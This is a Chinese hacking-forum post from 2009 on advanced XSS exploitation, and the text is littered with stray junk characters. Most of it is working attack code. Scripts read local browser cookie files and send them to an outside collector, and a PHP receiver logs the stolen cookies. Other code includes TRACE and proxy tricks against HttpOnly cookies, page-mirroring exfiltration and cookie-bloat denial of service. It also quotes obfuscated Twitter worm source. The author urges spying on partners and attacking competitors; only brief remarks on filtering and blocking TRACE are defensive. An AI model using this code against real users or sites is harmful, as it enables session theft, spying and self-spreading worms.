XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页$ I& T' [4 I! h' H$ Y; J0 L- o% {% O
本帖最后由 racle 于 2009-5-30 09:19 编辑 3 H5 l2 p% x+ B; X2 C
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XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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http://bbs.tian6.com/thread-12711-1-1.html9 i' J! t- G: x3 l' G7 g
转帖请保留版权. k% E" @- C1 Q" X7 h* D
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-------------------------------------------前言---------------------------------------------------------
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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如果你还未具备基础XSS知识,以下几个文章建议拜读:0 R4 ]/ H6 P1 q0 g$ `' U+ j8 s9 p
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
3 f( K% g* A" o- K/ f; Yhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全' a9 A7 a% I6 a$ I
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
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http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码- }0 y P5 ~* Q$ b- T* ?
http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
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+ w) f8 f( e6 n/ o& {如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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2 i6 H0 p3 {6 C4 u: e+ g希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
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如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,' U) M! P5 j- E& K( \
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
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& ?1 _' ^/ q7 K, v& @5 BQQ ZONE,校内网XSS 感染过万QQ ZONE.
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OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪7 b( V/ M- C! x% F0 {5 P: I1 P7 O) K
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复制代码------------------------------------------介绍-------------------------------------------------------------6 H" H& J" D" U, a0 H7 D
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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+ {, t8 t9 l$ y3 e. ?( h( V跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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4 w# E# z6 I* m* o" T如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
+ L8 @- _+ F* t p! |8 j. L( \复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
1 Y0 w. f7 Y$ ~. Z. b2 i* j我们在这里重点探讨以下几个问题:
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- n5 A6 L! t' [1 通过XSS,我们能实现什么?
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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3 v" Y; c9 L/ n! q+ C3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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9 a) O {3 j k5 ?0 d$ n2 Z' c: i3 w$ L4 XSS漏洞在输出和输入两个方面怎么才能避免.
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9 I1 Y4 u/ z9 b9 @6 v( i, n------------------------------------------研究正题----------------------------------------------------------
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫." K$ u+ F3 b& K9 ~% b% ?7 m8 e
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫: e) `1 z8 E6 p" l
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.8 b5 A1 Z. r. C; J: ^8 e
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
7 |& n9 i1 |4 P% u# G# E8 I2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
" X$ C& G1 n6 c; R3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
, e' F8 u" e( [- O; L6 p4:Http-only可以采用作为COOKIES保护方式之一.
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5 z7 F: |# Y# x1 |3 Y _$ @(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)( Z1 G+ z) @ U" j& i
- J6 R6 u6 J; i# G( _我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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1 A# Y! R& e3 l( F7 V7 _ 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
$ L6 i1 V9 c) t& P5 [复制代码IE6使用ajax读取本地文件 <script>
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function $(x){return document.getElementById(x)}
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request = new XMLHttpRequest();+ o! [2 d! y# }# C/ S# }
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for(var i=0; i<versions.length; i++) {
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try {" {5 h9 h# x) j9 e+ c2 f. x
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} catch(e) {}& Q A4 g4 t7 H3 L( G0 M
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}
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return request;
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var _x = ajax_obj();
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function _7or3(_m,action,argv){6 E4 w& ^$ t! o2 A: x
8 b% k8 ~1 L( L" p' H _x.open(_m,action,false);
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_x.send(argv);
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var txt=_7or3("GET","file://localhost/C:/11.txt",null);6 Z7 V- m/ @. O. x8 I
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alert(txt);
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" _4 {. Z2 t3 D# V5 N" ^ </script>
# w4 \* i2 h8 v8 D: U- x) K: U0 v复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
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function ajax_obj(){" _' Z9 a% _$ l
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var request = false;0 r0 \8 M* G0 W
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} else if(window.ActiveXObject) {
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6 [- q# r( j% ]6 P, k var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];) D1 H5 b& P1 g
& [9 d6 l5 i, \- n+ x. p; Z$ W for(var i=0; i<versions.length; i++) {$ k0 c6 Q7 h/ a* J8 U5 r' @. E
" i3 R1 O J5 E# d8 T1 W& w try {
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} catch(e) {}$ v2 l$ A. P: [. Z; U
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return request;
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}
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var _x = ajax_obj();6 s+ r$ R4 y. K! L5 ?4 E
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$ c2 E8 x7 N& {6 B8 ^; b _x.open(_m,action,false);
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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return _x.responseText;
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var txt=_7or3("GET","1/11.txt",null);
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复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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2 p+ L% ?2 Q6 T3 \; k0 J1 DChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"! {( a6 G1 W0 Q
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/* 6 S+ e0 e% ~8 A+ {2 U7 {* H
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www.inbreak.net
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author voidloafer@gmail.com 2009-4-22 $ F2 l! j0 O" ^2 d& Q
8 @2 I* R0 N2 V# F http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. / r" w9 s9 h3 Q/ Y7 K' O4 M# C2 M
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header("Content-Disposition: attachment;filename=kxlzx.htm");
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header("Content-type: application/kxlzx"); 3 c, ]1 X& p& A9 N) c# d
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6 r- g- F& ^/ ? T1 @# U5 g set header, so just download html file,and open it at local.
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*/
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?>
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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<input id="input" name="cookie" value="" type="hidden"> H3 y' f" L! x0 L: L, I/ u
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- W( D7 s' `6 g7 z<script>
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B u }$ b+ n& Q b9 nfunction doMyAjax(user) * j m% U; {2 u Q
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) K3 C( {, p/ }, ~var time = Math.random(); & }3 L' Z2 c9 c+ A6 K# E% _
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/* ) S' Q2 `) ]- {$ ]
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the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default : M; s5 F; T& L7 z. {+ K
# ^9 t3 j: N$ d9 t# g0 j( z+ Q7 sand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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and so on... , X, [5 ?% S1 }3 y, v
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3 K$ {/ A( J" h& d9 W4 mvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; . d- `: i# i* v
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" b5 N$ _, F- i6 r: IstartRequest(strPer); ( B; V* `9 z, T0 \8 b
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8 {% o7 u, n' o! u/ l" A}
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function Enshellcode(txt)
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- C( N8 x$ l6 |$ [5 `8 T! Avar url=new String(txt);
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var i=0,l=0,k=0,curl="";
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3 q5 L; i" Z$ a6 d$ _9 o; ql= url.length; ) q4 |* @1 I7 h+ I6 Z
* F o/ q, o; I8 Q7 zfor(;i<l;i++){ & Q: _( ]! U7 P9 c8 f
R3 G3 w" R2 h& uk=url.charCodeAt(i); $ O6 G V" h g# |
4 a- O; k+ N5 a
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
6 M5 b: k; }" z% T! {. I, [. x; C
if (l%2){curl+="00";}else{curl+="0000";}
6 m' {$ ?# \) z; d) I7 V0 k$ T. @2 J( `. ?6 T+ O. M9 l
curl=curl.replace(/(..)(..)/g,"%u$2$1");
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return curl; ( q$ @ j, E( F+ F+ ]. T$ S/ i
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} # `: V7 D8 H( \
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var xmlHttp; , \- }4 y) c* z
- i. n7 ~( O( ?8 D3 Z2 Efunction createXMLHttp(){ & ^& Z" q5 {% k" f {
/ J# w3 ?" N& e- v+ p; R if(window.XMLHttpRequest){
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l- F3 g; L, txmlHttp = new XMLHttpRequest();
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else if(window.ActiveXObject){
8 v- u: j- R( \7 T, {
' @9 w+ M ^# i0 F& |4 ~xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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$ u2 M" {: b- Y$ d }
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}
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0 c! W# Z. U6 j3 _+ [3 {* ]function startRequest(doUrl){ 3 E. w% V8 c6 Z1 L$ N
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+ |( f* j; }9 g' w5 ^8 B$ _! t G1 U* U% @
createXMLHttp(); . P& P0 k( W; i8 ^0 M5 P+ p
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# G( `! O" O1 k3 b2 O/ K
8 k2 L: _# A- j! ` xmlHttp.onreadystatechange = handleStateChange;
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xmlHttp.open("GET", doUrl, true);
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5 r1 H* q5 |: l y* f' W5 b; l4 } xmlHttp.send(null);
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1 {9 u9 d7 }" e) |4 _
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3 V9 ]# K! R0 [: [( h5 L
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} 3 x' F' U: f& [0 t# h* g; Q
6 A' C3 A. a" h i' g9 u! L0 [
5 J$ J% C; d$ r8 X: E9 { T8 l; ^7 L
6 _$ t V0 A7 m Z5 Hfunction handleStateChange(){ + Y3 z M, k9 @2 N
0 t6 m4 J9 S% _. R8 }& k if (xmlHttp.readyState == 4 ){ , F }& J. h( a: N3 J
1 W3 j; i' Q& [ y# C4 H var strResponse = ""; / _% P# Y# K( ?. g3 i
6 W* e( B% X. g; K! o4 l2 P4 I setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); 7 V0 }+ Y8 V: ]+ [. y; x. W$ {
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7 T( c# N/ J0 K- ^0 y6 j } ' j o L! `+ J6 L- w' c% N
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} 4 u0 h* C8 \7 n& M( |6 a
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1 h, w+ @ n4 g
. E" R; [5 x1 ~4 f4 p sfunction framekxlzxPost(text) - f; E6 S( Q7 V/ g+ p/ U+ k' w
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document.getElementById("input").value = Enshellcode(text); ' P3 L: f+ a% c
- q$ t. O6 U1 O! n5 T+ I- K document.getElementById("form").submit();
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" a% R: `3 ]" K: g0 W3 F% {6 |doMyAjax("administrator"); 9 c" {" m$ `! X" M' O' r9 X% ^
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, _7 @9 J8 j8 C; p* t! Y</script>
" i) B; n- A. N1 `5 W1 h复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
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' f# D1 I0 k' Z# H* Jvar xmlHttp; ! I* U; Q* I: m# O1 {( q d2 k$ o
" z' _! U# `/ }) z5 lfunction createXMLHttp(){ / K7 w! V2 F7 y2 O! w0 O# R
, O0 `% Y2 @- |3 s$ j A if(window.XMLHttpRequest){ ! p h' U+ {' I( S$ K' q
5 F' V7 B$ ^. W- H! d" u8 y
xmlHttp = new XMLHttpRequest();
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else if(window.ActiveXObject){ 4 Y; e: G" ]3 y% g0 c i" k
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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3 A X% } Y( s9 c
4 @. p! i4 j( I8 p2 ^/ |}
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# }: E; Y. ?6 _, t' z1 }
function startRequest(doUrl){
7 [: B$ Z* n* ~5 v3 x* ^
r+ d1 G6 b5 M; r4 T' S7 v7 O . I) u6 h- V+ \ V3 { _) [
( D' ~: B( S b; V& A createXMLHttp(); ; B; n) {8 n$ t) } R% o
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4 s# ]* c5 f1 t* j7 G! `0 p xmlHttp.onreadystatechange = handleStateChange;
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xmlHttp.open("GET", doUrl, true); 0 f- { @3 F6 g7 x9 `; c
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- J7 w, g5 Z) O: E xmlHttp.send(null);
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# v; U X+ H3 W, v* ?2 cfunction handleStateChange(){
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! W# {6 t* z2 B: a+ M+ { if (xmlHttp.readyState == 4 ){
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8 B7 m( |- \: P& T( [ var strResponse = ""; 4 ^6 a" {+ p* y* g5 P; Z- H
( x6 J, F' k0 q9 G setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000); 3 D; J6 _& K9 t5 E* ~. ~
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function doMyAjax(user,file)
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0 i* b8 g9 F- o+ e* J1 W1 b) c{ - B. c0 x( _) \. x$ V2 h# P
v) o! Q6 n3 Z var time = Math.random(); ; F& a4 G' P6 P* j$ B, }1 F1 G
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var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; e7 F/ Z Z5 e2 v ?2 r
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! p1 \, y( i' x+ ^$ {# ~
; L) u6 t. B+ P' p3 t: Y0 Z startRequest(strPer); 2 S5 y# }8 `8 A3 b
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b. [% t% t% j" d, H
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0 B, K8 P4 U$ S5 sfunction framekxlzxPost(text) 8 \( c, B* A- Z' {' _
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{ - W8 K6 I/ ]4 ]- Y
3 x: O: z6 k. f% v' p' J document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
- r( g# H2 d* r
3 ]8 {% H0 w2 j9 s& z alert(/ok/); & }2 n& a u' H, z" n* Q" Z/ [
, A% y& M) \% u& r% l3 ?
}
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doMyAjax('administrator','administrator@alibaba[1].txt');
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5 k5 ?. ^% L5 o& S& E/ [</script>! [, t. k u/ F) k7 S' A
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a.php8 x6 h& P) H) p
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" x8 L# f: e$ n0 @* ] S w<?php # @7 d- y4 f$ t# c; B" i, E
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- ~: S: K- D* I% L) W$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
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$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
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1 v2 E$ {0 @1 s& k
5 x0 T" M, D5 }5 l$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); 6 |4 m$ y+ v2 r4 n. o
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fwrite($fp,$_GET["cookie"]);
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: F4 s; r0 k" s. j `" j2 T9 qfclose($fp);
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1 q4 O c2 ? a# K9 d?>
, J4 e" M$ ~ Y复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:7 g8 ]& E. w% X# }3 `; s3 d
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或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.$ [8 s1 m4 c/ K% v) `! }1 v$ Y
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.7 T6 N5 G) H0 ?" m9 U* a
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);# e2 D8 `) A% [2 l1 N9 z: f
5 |1 R/ c7 p3 U' Z* P//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);# d0 x' {8 s; @8 D$ D2 l
, ~! B6 e" M6 E. C//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);) e' G- D) S$ i! o! Q& H6 M" c6 G* ^
* R9 l" U4 t# E* ?. `function getURL(s) {4 Y \: t& ]) v- Z/ f' Y: X
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var image = new Image();. Z. r* H- q" z& U u
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image.style.width = 0;
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image.style.height = 0;
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image.src = s;2 T4 M0 m+ D9 U# _: t
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}
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# l! I- o( z0 [/ p) |getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
# M4 z0 }" F. ` L% Y4 M& r2 r3 y复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
" f3 o J& I8 V2 X) O这里引用大风的一段简单代码:<script language="javascript">
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8 J9 o6 M8 s3 O1 h$ d# D1 Bvar metastr = "AAAAAAAAAA"; // 10 A5 |. M" o/ t. B0 D, v
1 m: N" N7 T8 q) K% ]var str = "";6 P7 D& k8 ~0 p: E5 w% _1 x
% p% S6 S3 [' M2 q s, ywhile (str.length < 4000){
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str += metastr;4 d7 F* D+ v8 ^% S2 m
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document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS0 n9 Q' @ S+ I8 z, j& S* I1 K
# c q3 ?* a$ F7 T</script>
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html/ J$ j0 L: S( M' w
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
; _1 R: x( x+ F' N7 [2 Sserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=1500 b) U n: A2 M
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假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
1 y7 c5 D) @$ e$ l0 n4 S) k攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.( P- \6 G# z8 b! ~ N, Y5 j" ~% Y
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$ m' L' f" X! X4 d3 E(III) Http only bypass 与 补救对策:
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1 Y- {( `9 s: y. X' s什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
9 k& E* P$ h ?, Z+ N以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">3 R: t& Z( D/ {" p! w
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<!--7 b5 C! V/ o, y- b& m: y5 @
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function normalCookie() { $ O, o, { L' K9 `+ |# g
& i) ^& k, R5 h; z
document.cookie = "TheCookieName=CookieValue_httpOnly";
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alert(document.cookie);
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* J- b; b' T- P6 Q/ C! T8 m1 q, `* wfunction httpOnlyCookie() {
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document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; * f3 ?3 e' Z4 t. y+ b* [( v
2 X0 ?. e' L4 b5 T* |! ~alert(document.cookie);}9 c9 n7 ]; |0 E
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//-->
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<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'> @; R4 v8 X& @& W: Y
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<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
/ S$ {! O! V# s+ y6 L复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>% \! H7 c2 G# u0 K3 p4 x4 A* N& J/ A
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( g Q# r1 \( T$ t( X. f# W( f
4 \+ a$ n0 r& m% Ovar request = false;$ H' Q( \ K$ a# ]+ L5 M& K9 O
, U& \7 |4 d& c if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();+ }4 p! S0 U9 x" ]/ q; G
, O- a0 _$ D4 d3 A6 v if(request.overrideMimeType) {
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3 M- y4 i- c! \9 K- R" k* e' Z request.overrideMimeType('text/xml'); x1 \" V0 L! W
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} else if(window.ActiveXObject) {* D1 { y0 v+ t1 n0 s4 u
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {
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try {
3 l% m9 i: s0 v# l7 s5 b0 e3 U5 O x' Q6 l1 b) D3 V3 q9 x& n9 _2 _
request = new ActiveXObject(versions);& B8 S+ N: X8 `5 U @ T* a1 L
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} catch(e) {}
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$ J% w2 q5 |6 p$ w% w! `
' R+ t7 Z. H2 X+ R# NxmlHttp=request;: s( y1 e. m3 P$ J/ @& x7 ?6 [
( ]: w8 ?& b/ @' G2 Y% \+ @xmlHttp.open("TRACE","http://www.vul.com",false);. u: I$ l9 Y" P$ N" @$ k
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xmlHttp.send(null);
4 g# a% {1 f# B$ w$ D/ ?
- r& n# z' }) A0 S6 pxmlDoc=xmlHttp.responseText;! a% [. ]5 x- } c
/ H% Y7 g/ j6 C4 nalert(xmlDoc);) {( d+ w+ n# t$ l
! y: p% _; V& P+ F( b$ W</script>) S4 U. _" \' u: r: h1 L2 l
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
4 [1 Q: e% z# }& |+ \$ d0 K8 R, |, T7 A$ K( _, `
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");7 V# H6 _# K( r0 ]
5 N: ]& Q6 ~' UXmlHttp.open("GET","http://www.google.com",false);, l' c) N- O: j0 ~- b# [
4 X K, V$ N! @( C. M
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");2 {: E% |2 O- P% e
( [" W) @, G3 ^6 n6 F4 \XmlHttp.send(null);# `" w+ i5 a' ]5 u8 f. R C
# z7 F2 u- f( a
var resource=xmlHttp.responseText0 V: k$ ?; ?" I N1 D! S
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resource.search(/cookies/);3 u7 x# i) W) q) k4 L) I2 I
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......................: a: V% h& M4 K
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</script>. _ }# X" L- R
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4 n" q, I! t. z
- V% f9 H9 K5 }, B; @9 e" x4 b ]如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求! w/ s, g& g1 |& e; h9 T
3 k* u8 _- v# ?$ y6 J& P' Z4 k[code]
5 _9 L6 b6 b5 j2 G" W X# {, j
RewriteEngine On0 ^7 g7 d/ G% |* i5 \% Z
* i( U2 g$ }# D+ ~7 {
RewriteCond %{REQUEST_METHOD} ^TRACE. z: u8 ?- H1 p+ m' c8 X/ j
0 \/ F2 L/ t; ^' v. }& ?$ e
RewriteRule .* - [F]
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* D5 t6 v1 z& O( n8 a- s5 }; E* E! H8 y
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Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求! h2 p2 P0 l9 ^! Q# q% b' ~' i
( }* L/ K% c6 o4 f
acl TRACE method TRACE
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http_access deny TRACE
, p! K/ J$ W; j4 Q; G复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>4 s5 j% y; i$ s+ l6 o7 i
4 V' N1 r3 J; S* N, ]0 Nvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");2 a4 b3 ~1 o% F, B% m
3 x- r; v8 e2 }5 c/ u$ I$ mXmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);
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</script>
5 B y- Z$ e: P+ e- G复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>& ]) u4 X, M I' a3 @
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); {% u" |7 ]2 C: W5 J8 k! d
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* {' H9 D( o1 p% L1 @
6 K3 B( j3 y; k2 F A/ O4 bXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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5 |3 D, X5 `! \4 sXmlHttp.send(null); ?3 l0 W8 I& S# L0 ^+ O1 j) h
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<script>
% q( l. Q& H) b: K' j复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.0 F! C x' q% H/ L- k- O
复制代码案例:Twitter 蠕蟲五度發威
; h; J. v6 [ J" G/ W1 ^8 s0 I$ R: @6 x* b第一版:
' R+ P8 d3 x e. C 下载 (5.1 KB); M9 ]4 F# w3 k4 q/ r
. v: L( e3 e1 @5 T9 \6 天前 08:27
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第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; ) t( @. a [0 ^* t6 I. r7 Y
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3. function XHConn(){ 9 [; D. ^" c8 |% X0 ^7 M
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4. var _0x6687x2,_0x6687x3=false;
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5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
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% F) o$ s2 d1 Z T% R+ H" d 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
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7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
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8. catch(e) { _0x6687x2=false; }; }; }; $ ]& o% F9 s; @
复制代码第六版: 1. function wait() { 2 W- d" `" ~5 p8 p+ c5 J( p
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2. var content = document.documentElement.innerHTML;
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6 m7 o: J3 P1 C) S 3. var tmp_cookie=document.cookie;
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4. var tmp_posted=tmp_cookie.match(/posted/); 0 U- D, D5 E" E6 y# `1 T7 Z
* a# x2 z; `: x/ L$ K$ o d7 S4 N: X
5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); 1 ?' F9 C. V: Y& E& c4 Y+ `. V" B
( ]. _! _9 [# c. ] 6. var authtoken=authreg.exec(content);
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7. var authtoken=authtoken[1]; 8 @3 V8 u0 X- y* ^3 u. G* y; i
0 }! Y# N! u) f5 P1 {& P 8. var randomUpdate= new Array();
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9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; : y; i& s5 p# _( T
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10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; # J; U% z- n0 G8 [2 A
